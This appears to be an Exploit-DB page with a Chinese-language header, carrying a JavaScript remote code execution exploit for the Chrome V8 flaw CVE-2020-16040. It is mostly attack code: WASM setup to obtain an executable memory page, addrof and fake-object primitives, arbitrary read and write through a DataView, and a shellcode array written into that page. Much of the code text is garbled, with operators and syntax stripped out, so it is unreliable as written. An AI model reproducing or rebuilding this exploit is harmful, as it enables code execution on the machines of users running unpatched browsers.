标题: Google Chrome 86.0.4240 V8 - Remote Code Execution EDB-ID: 49745 CVE: 2020-16040 类型: REMOTE 平台: MULTIPLE 发布日期: 2021-04-06 漏洞利用脚本: # Exploit Title: Google Chrome 86.0.4240 V8 - Remote Code Execution
# Exploit Author: r4j0x00
# Version: < 87.0.4280.88
# Description: Insufficient data validation in V8 in Google Chrome prior to 87.0.4280.88 allowed a remote attacker to potentially exploit heap corruption via a crafted HTML page.
# CVE: CVE-2020-16040

/*
BSD 2-Clause License

Copyright (c) 2021, rajvardhan agarwal
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

1. Redistributions of source code must retain the above copyright notice, this
   list of conditions and the following disclaimer.

2. Redistributions in binary form must reproduce the above copyright notice,
   this list of conditions and the following disclaimer in the documentation
   and/or other materials provided with the distribution.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/



 wasm_code   ,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11])
 wasm_mod   wasm_code
 wasm_instance   wasm_mod
 f  wasm_instanceexportsmain

 buf   
 f64_buf   buf
 u64_buf   buf
 buf2   

 val 
    f64_buf  val
     u64_buf  u64_buf  n


 val 
    u64_buf  val  xffffffffn
    u64_buf  val  n
     f64_buf


 a 
   y  

   a   y  
   a y  

   z  y  
  z  
  z    Mathz

  a z  

   arr   Mathz
  arr
   cor    

   arr cor


 iii
    

 x  
 arr  x
 cor  x

 idx  
arridx  

 k 
    arridx  k
     cor  xffffffffn


 k 
    cor  k
     arridx


 float_array_map  cor

 arr2  float_array_map   
 fake  arr2  x20n

 addr 
     addr  n   
        addr  n
    
    arr2  n  n  addr  n
     fake


 addr val 
     addr  n   
        addr  n
    
    arr2  n  n  addr  n
    fake  val


 addr shellcode 
     dataview   buf2
     buf_addr  buf2
     backing_store_addr  buf_addr  x14n
    backing_store_addr addr

      i   i  shellcodelength i 
        dataviewi shellcodei 
    


 rwx_page_addr  wasm_instance  x68n
console  rwx_page_addr
 shellcode  16855099,19149953,1208025345,1397310648,1497451600,3526447165,1510500946,1390543176,1222805832,16843192,16843009,3091746817,1617066286,16867949,604254536,1966061640,1647276659,827354729,141186806,3858843742,3867756630,257440618,2425393157];
 
rwx_page_addr shellcode URL: https://www.exploit-db.com/exploits/49745